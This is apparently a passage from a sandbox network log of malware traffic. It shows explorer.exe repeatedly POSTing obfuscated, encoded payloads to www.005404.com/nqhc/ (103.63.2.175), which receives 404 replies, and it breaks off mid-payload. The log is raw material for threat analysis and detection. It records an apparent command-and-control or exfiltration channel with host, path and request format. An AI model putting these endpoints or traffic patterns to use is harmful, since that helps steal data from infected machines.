7nWHV=DwjUP3e1xl1YXFI1mGwjwvWE(qidsy1GwYaqWJkxsZwnUXyKqOCnFrMQpRMWWzzjsqIKUZIqMmGDQNxyngKP(QWkJbcOnzTc6yp8iNF56Y5O~x~METkZJwFfN-kHJ37cAIPqQTfJp9SqzQOKz40_Sel2ABopaFwrKBP3OWaIg9ftxPBSyQ).
Dec 5, 2022 15:19:38.191865921 CET	12691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.11.20	49936	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:40.230209112 CET	12693	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 6f 6e 58 79 4f 4b 34 61 75 6e 45 72 4d 51 6e 78 4d 58 53 7a 79 68 73 71 31 71 55 63 6f 71 4d 6d 43 44 57 34 6c 79 77 67 4b 51 78 77 57 6e 66 72 63 4c 74 54 53 64 36 79 74 61 69 50 35 35 37 70 56 4f 28 7a 6d 4d 41 47 51 65 44 77 45 61 47 65 6b 41 48 58 37 53 41 49 79 66 51 58 54 7a 70 49 53 71 32 41 75 4b 68 49 30 38 59 75 6c 39 4e 68 70 4c 58 46 55 6e 4b 42 6e 4b 5a 6c 37 31 6b 2d 71 65 77 66 4d 4e 71 41 37 71 49 66 37 6c 39 39 4c 5f 68 50 68 30 4b 51 28 55 62 42 4f 6a 50 74 7a 76 5a 34 6d 42 55 48 49 54 68 36 38 72 50 68 59 4e 33 52 5a 78 54 6d 28 56 30 78 78 43 4f 35 41 56 4c 63 4b 79 70 33 4a 71 39 79 45 30 53 48 35 4e 43 4f 51 5f 61 69 34 38 56 4b 6d 4b 32 34 7e 6e 61 43 50 35 4b 57 55 52 74 35 66 43 4b 51 4d 2d 53 45 58 6a 35 72 33 4b 67 70 72 6c 55 66 28 45 66 36 45 5a 6e 70 6d 66 58 37 73 79 48 78 59 53 50 43 57 2d 51 58 46 73 36 38 72 47 79 62 68 43 72 6a 72 56 6a 4f 4b 63 49 4c 33 33 56 35 52 5a 74 50 39 72 4b 31 6e 50 50 32 69 49 79 61 72 6f 42 53 58 72 75 4d 4f 6a 66 42 73 56 4e 47 6a 43 6e 63 6e 61 31 72 45 6a 79 45 58 43 73 47 57 47 73 6d 74 36 38 58 63 56 30 63 4e 37 66 30 4c 75 50 52 62 66 38 58 35 65 51 45 69 6b 56 48 58 55 34 36 44 39 6d 4c 4a 4b 48 39 74 32 51 4e 6f 75 4c 46 41 6f 32 57 78 6f 66 46 47 6f 4f 5f 37 4b 45 32 41 73 30 66 67 58 34 33 6f 6f 4a 58 49 77 74 48 70 56 50 5f 59 32 46 6c 7a 71 59 49 45 76 6c 6b 36 73 47 31 30 46 43 76 5a 6c 79 41 63 49 4c 46 70 58 44 6c 74 47 32 37 45 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssonXyOK4aunErMQnxMXSzyhsq1qUcoqMmCDW4lywgKQxwWnfrcLtTSd6ytaiP557pVO(zmMAGQeDwEaGekAHX7SAIyfQXTzpISq2AuKhI08Yul9NhpLXFUnKBnKZl71k-qewfMNqA7qIf7l99L_hPh0KQ(UbBOjPtzvZ4mBUHITh68rPhYN3RZxTm(V0xxCO5AVLcKyp3Jq9yE0SH5NCOQ_ai48VKmK24~naCP5KWURt5fCKQM-SEXj5r3KgprlUf(Ef6EZnpmfX7syHxYSPCW-QXFs68rGybhCrjrVjOKcIL33V5RZtP9rK1nPP2iIyaroBSXruMOjfBsVNGjCncna1rEjyEXCsGWGsmt68XcV0cN7f0LuPRbf8X5eQEikVHXU46D9mLJKH9t2QNouLFAo2WxofFGoO_7KE2As0fgX43ooJXIwtHpVP_Y2FlzqYIEvlk6sG10FCvZlyAcILFpXDltG27E.
Dec 5, 2022 15:19:40.482784986 CET	12694	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.11.20	49937	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:42.503652096 CET	12707	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 67 6e 55 48 43 4b 71 72 75 6e 57 62 4d 51 76 52 4d 4b 53 7a 7a 35 73 71 64 31 55 63 31 64 4d 6c 32 44 57 70 31 79 7a 57 57 51 37 51 57 6d 51 4c 63 4a 6e 7a 54 65 36 79 70 30 69 50 74 50 36 59 68 4f 7e 30 43 4d 45 31 34 5a 63 77 46 66 47 65 6b 79 4e 33 37 73 41 49 32 50 51 57 76 7a 70 4c 71 71 31 57 71 4b 79 4f 38 38 52 65 6c 36 47 42 70 41 65 6c 56 66 4b 42 7a 34 5a 6c 36 4b 6b 5f 7e 65 77 64 45 4e 70 42 37 74 50 5f 37 6c 77 64 4c 2d 33 50 64 77 4b 51 6a 79 62 46 47 6a 50 74 4c 76 5a 59 6d 42 66 47 49 63 73 4b 38 74 4c 68 59 57 7a 52 56 35 54 6d 61 79 30 30 42 43 4f 70 45 56 4b 72 57 79 36 57 4a 71 6d 79 45 32 4e 58 35 65 58 2d 51 4b 61 68 41 65 56 4b 48 5f 32 34 61 6e 59 6d 62 35 4f 30 73 53 6b 35 66 41 54 51 4d 52 57 45 4c 52 35 72 48 57 67 70 71 2d 55 61 48 45 66 4b 55 5a 67 6f 6d 63 48 62 73 78 4b 52 59 39 64 43 61 43 51 58 78 30 36 38 6a 57 79 59 4e 43 72 44 72 56 6e 74 69 54 54 4c 33 30 5a 5a 52 78 69 76 38 72 4b 30 62 31 50 33 58 71 79 4c 33 6f 42 69 48 72 72 63 4f 6b 61 68 73 52 4c 32 6a 45 6a 63 6e 61 31 72 49 64 79 45 54 43 73 33 75 47 73 52 52 36 36 46 30 56 79 63 4e 48 66 30 4b 31 50 52 66 6b 38 58 77 39 51 45 54 42 56 45 6e 55 35 76 72 39 6f 71 4a 4a 58 39 74 7a 61 74 6f 31 50 46 45 5f 32 53 70 77 66 42 6d 43 4f 49 4c 4b 46 32 51 73 7e 5f 67 55 39 58 70 42 4f 58 49 71 70 48 6c 4a 50 37 34 48 46 68 36 79 59 4b 45 76 6e 78 36 36 44 6d 51 5f 65 50 64 6c 7e 67 51 6e 44 57 70 62 48 52 52 33 6c 4f 4e 6f 54 45 48 31 30 56 49 53 48 63 79 73 51 62 52 4b 66 30 62 44 78 71 69 49 6d 6c 42 6f 4f 76 36 65 72 58 47 33 50 4a 59 39 6f 54 33 45 62 79 6d 39 70 78 6f 5a 73 65 63 63 6b 75 59 34 68 78 47 53 44 65 74 5f 51 30 4e 6a 6a 62 6c 42 51 67 66 61 4b 33 55 6a 35 59 4f 47 65 50 62 48 4e 31 54 74 59 41 4f 38 6d 79 47 61 31 4d 58 4c 47 76 77 6a 68 55 33 42 36 59 7a 32 7e 47 71 4c 76 56 63 53 72 6c 78 6f 64 4a 6a 78 67 79 6e 43 6f 41 61 4a 68 71 43 55 64 62 30 6b 4b 66 7a 50 44 41 37 71 63 76 6d 31 52 65 6b 4e 75 64 50 77 30 52 74 61 44 33 4f 4a 66 53 31 54 46 48 79 53 67 52 52 56 32 77 6b 41 68 31 35 5f 74 36 55 46 68 31 41 6b 70 73 6a 50 66 33 44 77 7e 62 37 55 79 75 62 75 62 46 4e 39 77 4a 39 67 5a 6b 28 52 4a 4c 4c 65 6d 57 75 4a 31 64 30 4d 59 69 73 4e 44 31 6f 30 4d 68 64 45 41 71 5a 4f 6b 65 73 6b 30 4a 6d 79 58 71 79 50 75 51 37 37 50 46 78 6c 59 5a 72 7a 37 4d 67 4e 75 63 71 78 57 72 61 38 4a 51 52 73 45 4d 36 31 34 73 7e 4f 7a 52 79 5a 77 4e 4c 34 6d 72 58 4a 4b 39 66 79 73 43 49 33 77 52 7a 32 52 7a 7e 38 4d 36 45 45 7e 63 41 55 28 72 7e 51 57 62 53 69 4c 76 77 69 6a 4c 74 45 35 4a 37 50 4e 5f 4e 35 77 69 56 34 50 41 34 59 41 39 79 58 35 73 56 36 46 36 65 62 69 55 53 66 6e 31 6a 41 54 6d 6e 46 50 58 66 78 4e 4e 64 64 78 78 69 32 63 6f 65 47 73 65 64 49 4d 48 64 59 76 4a 4c 70 53 49 35 39 49 6a 69 38 68 38 56 75 54 64 35 36 42 58 34 44 35 48 4a 68 78 46 75 6e 79 54 31 6a 57 76 78 79 42 6c 63 4f 49 52 34 45 69 54 56 5f 6e 49 28 31 30 5a 6e 48 75 2d 49 50 72 36 5a 31 6d 59 44 71 4a 56 50 2d 71 6b 49 44 72 52 59 4f 31 49 57 53 34 50 61 64 65 7a 4b 50 5a 45 67 58 52 50 57 33 69 77 4f 5a 33 52 37 55 7e 77 35 5f 72 5a 78 71 63 74 4a 67 41 6a 41 79 79 54 78 6a 75 58 43 6e 50 67 47 75 6c 7a 4f 65 76 5a 70 49 74 67 72 39 30 42 70 2d 47 6e 72 6d 63 30 58 77 4d 67 50 69 28 77 43 31 6c 78 67 32 6b 6c 61 78 71 77 76 4a 38 2d 72 41 6d 4d 53 41 4d 30 6d 71 44 62 4e 6b 53 37 55 4d 32 6b 75 78 6e 44 50 32 78 58 69 4c 38 4d 7e 7a 50 41 7e 56 54 70 53 72 67 54 49 66 58 65 39 47 71 57 6b 39 4a 6e 77 42 56 6d 4e 5a 7e 38 38 4a 6c 67 7e 52 47 7a 6f 69 6e 74 5a 32 7e 4c 45 4d 42 63 7a 4f 68 75 77 7a 68 34 7a 67 4a 78 55 36 38 42 33 51 4b 4a 48 35 65 72 48 56 59 2d 48 4e 35 75 4b 4f 28 57 75 43 4b 70 70 45 41 32 48 5a 7e 47 59 55 38 36 6a 72 73 4d 68 42 59 5a 78 78 6c 68 53 4e 71 63 49 6d 53 30 34 7a 46 6d 35 48 7e 53 31 50 76 41 69 70 62 44 4f 69 52 65 59 71 46 32 41 76 74 30 76 31 61 31 4c 79 33 69 58 55 50 54 63 45 34 67 28 72 6f 56 44 6d 54 4c 76 38 4f 6f 65 47 38 7a 30 38 61 68 44 2d 75 Data Ascii: 7nWHV=DwjUP3e1xl1YVlY12VYjyPWH6qidmS0NwYWqWN98ssgnUHCKqrunWbMQvRMKSzz5sqd1Uc1dMl2DWp1yzWWQ7QWmQLcJnzTe6yp0iPtP6YhO~0CME14ZcwFfGekyN37sAI2PQWvzpLqq1WqKyO88Rel6GBpAelVfKBz4Zl6Kk_~ewdENpB7tP_7lwdL-3PdwKQjybFGjPtLvZYmBfGIcsK8tLhYWzRV5Tmay00BCOpEVKrWy6WJqmyE2NX5eX-QKahAeVKH_24anYmb5O0sSk5fATQMRWELR5rHWgpq-UaHEfKUZgomcHbsxKRY9dCaCQXx068jWyYNCrDrVntiTTL30ZZRxiv8rK0b1P3XqyL3oBiHrrcOkahsRL2jEjcna1rIdyETCs3uGsRR66F0VycNHf0K1PRfk8Xw9QETBVEnU5vr9oqJJX9tzato1PFE_2SpwfBmCOILKF2Qs~_gU9XpBOXIqpHlJP74HFh6yYKEvnx66DmQ_ePdl~gQnDWpbHRR3lONoTEH10VISHcysQbRKf0bDxqiImlBoOv6erXG3PJY9oT3Ebym9pxoZsecckuY4hxGSDet_Q0NjjblBQgfaK3Uj5YOGePbHN1TtYAO8myGa1MXLGvwjhU3B6Yz2~GqLvVcSrlxodJjxgynCoAaJhqCUdb0kKfzPDA7qcvm1RekNudPw0RtaD3OJfS1TFHySgRRV2wkAh15_t6UFh1AkpsjPf3Dw~b7UyububFN9wJ9gZk(RJLLemWuJ1d0MYisND1o0MhdEAqZOkesk0JmyXqyPuQ77PFxlYZrz7MgNucqxWra8JQRsEM614s~OzRyZwNL4mrXJK9fysCI3wRz2Rz~8M6EE~cAU(r~QWbSiLvwijLtE5J7PN_N5wiV4PA4YA9yX5sV6F6ebiUSfn1jATmnFPXfxNNddxxi2coeGsedIMHdYvJLpSI59Iji8h8VuTd56BX4D5HJhxFunyT1jWvxyBlcOIR4EiTV_nI(10ZnHu-IPr6Z1mYDqJVP-qkIDrRYO1IWS4PadezKPZEgXRPW3iwOZ3R7U~w5_rZxqctJgAjAyyTxjuXCnPgGulzOevZpItgr90Bp-Gnrmc0XwMgPi(wC1lxg2klaxqwvJ8-rAmMSAM0mqDbNkS7UM2kuxnDP2xXiL8M~zPA~VTpSrgTIfXe9GqWk9JnwBVmNZ~88Jlg~RGzointZ2~LEMBczOhuwzh4zgJxU68B3QKJH5erHVY-HN5uKO(WuCKppEA2HZ~GYU86jrsMhBYZxxlhSNqcImS04zFm5H~S1PvAipbDOiReYqF2Avt0v1a1Ly3iXUPTcE4g(roVDmTLv8OoeG8z08ahD-ulBYkXPH8HOJ84rBA6Nb9ppVQKrRev4_TJUrASCXzQrjW4wNg0auhj~sB837rFg2pyO5CNF4orTm1o78lmmmuyCgKQHkPUznU_CtbXXFnbf9C3UUkqOZhXDqh9gknZIsYIGBfRvUdUMQaXp7JW2J5McANgXd7Dqxjjf3UCsALnW0jFRjC3BOEhfzrT~_hfRvTmEqdtYvW6MzJ6LVoG(0lK5IHlBNeUKpTOFZPFfNIgZypEY7plKXW_cxJReXPOxdJz~Arcxs5VJ6vX6f5b3CcAW3lpEBw2D5NxyBnI(RmgwJiSwtCKPVj3RqrwrErN0oCwCDEPly4Iv_rm9ZL1C85Zh0XECC6GkUFVshHhirjdHtGxtIbW3d1kIAvch24rEPKfkEEObevsKQfPh3nOvM(lJwqgm1ERGqVyQEB1iPEDTGups9shhYCJOaZwAJf9DO9FEXKdycl6ZeI0uggq13tDARHeUf6_itO1J2AWOPzFLutN3ODtbE~K4kmmZdVmI_ybyXjSmOXLzbsBLTo59RvmsvCqG-p0n_81MbLjPBCgE7~Ta3wVSov-fmeu(T~vcUed~ZCqDwA4Emdgg6R-i1OoMqnLJIFIAgjaqgylUKWBLT4FgLgiHqCZlQCuNjmHAGdeQj9Tz8EzCfOhT8LjStT_ZiwKQRN0bpwJezmWz3xrVNxshjHucJ(BngPIezn_5apL2l1h5Sujbq0OI5nbxzgF18J-hjPscKhE7_xZhc0wapnl4SLvBT2ewMZ3sCyZ0eMSDkiZsxGckjVc2OME40bjcmJdzAJCYLT_5RfJRnLbqmLOBY0KAAupYCYjhMNKSh5M2-xRO3ohS7ebsDrx5zf0nojDSC(hScOJRnGRu-ZHr1BVJ2kfsmXZCt6vIxKphU4sYfDRCgwWQSroL4(W48nz37HYiODXYmjKp1VFOGgkLSZ_rqOM(iN1XQNpImRLSfeEiD(CHCtqAK~w(3U_lyYjgAi3r0KOrzhTBg4fuP78VN40eTi6gXV3KLPBZDlf6EGHt6p6CkwbFmf1T7k58sJ6SUa15JsoBKlXtzi1I1jxLPPxBO6aX3(ze0QCkpKkSs5wBD7JHgScSBftq7YXdyAqUHEBmgclI9VXuxr1hA06IlD8(X2FlAcFC7HzTStjSOKY2El9VsRLwbd19l3g5GEdstyCci4o9hZln8T6n870ZbmLzLzVTQ~nyiGYmuHut4ED0ztOohm0OYHAB9gwsXB5NASKAH5b5QtwNlKkJaVNRm2i0u~rpkQHE-MtKZUdUTbeujxhWxl3fOdlhddqYGPAazFn6tXF0d~0rdmcNZ5z8ArbNZBBewys5rRTyj2iryxiJy6xQTNBRj0Ayf9jnWMbdWvVy-kuxH5IPzNDgrBkbbWovfhoayz-l2Bi0s4j6YT1GhHPmfoCczOeVfQhw_5niyweJaL0Rz~BOO(5PUD-oNcBwPBx24fz2GKxNmVYxPg0dA4A(9Ank5V0wjObIQ~Wyrlfqtb6hekGNIx-YhWCuJwJ9dbC5xzmxqyqx-w38QkGJTHAjm4_~JLip3aSrA8e7z~g1JzbOjxf9a9VJu4D(DA5zD76NmutYRPHRTr47EHrtmazYlmje3pOPfFKUjB51KocUdOKmDvqv9IhyqRKq8scso5duBffFVZpoNhUHSryBMJUNLcU6hAMRuLFaQMwDxLIzJ~6WR339Nt5tFtHJ6nnYjzbLXBuuNU0xLvD~eht01zGueNOXSMxjB5w7MKzYXxFQw5NEpf9Myai7UUtbedwukPuEmTgjvMaVK~_EiZvXVPO(nGMBmb6qhrBllUwsbp6v0ZYSp8alTI_Tu2UOAnf6RAPY5~PUUrFK1Db7lr8(m67uLJ-IjD26RMA7Z9At5(8U7FPEZxk7if0m1RxJLJI0CeYbwUDxm3TtEwoAveV(OQ-9DwUvDxAmr~KYjCCKirtUXTyx0VKfHLA(YnQhHUzK3Ji(ip7A7xXsU0skwRP~YOOyQFlmyJpggOolXF3wqocHuRqUyxE4QU3oUbUeXaA8PPDI4GA0wtXZXUAj8~B8VQ_eq1zX92GfU7kRvC1lmJzvVf_~HV1dZ5m2vU7(mUrckourRHsR2ue0P(i3UB6DsgaUpScj-A9ehf8BtoP~-63q_s1jZD7d5aDm0yhSnf2Rc~8lLrjvtK3JU6dtT7UZ3tMcpxoQxmrJV9lqeWc6BmFekXhB59EXhDK2BwzN7zpAxWQ4KJ-5IANNQ6Bq_loC_9NwKwwmax9Zho6aNuoLxBcXYgIQwxlJ3ScWNLP0ykZnRjUai~0KIkxIgo9IJBbd6CxzsOrQG0_4dPQwSvsFH178khu~vU92VrhjbLNnSQQKC~wgFujzMxQV4hhleWrCQwb5COpJGrtMziLq0gXLLqFQIW1QRwTtiEambwNIEq8EkvYdsYhRuxCEgE9UQcjTntSsCjpLp3jQxbD07Sed17j~4ExqYM-hgj-U-MgDV7RJVr82Wkp6I0r2VVtnxqYikj8ptr_Ymijfr(G(-(FDTInvLK7wy2atZr_YRTnM_SZbA5hOKj79xWa5p7ad3riAu1lQKKcDsoFC8eKssr_HpT9~YGNhiYvnBqaWnP7p9zImIDkTO6gqeGnuTxlpdUNk4QqgD~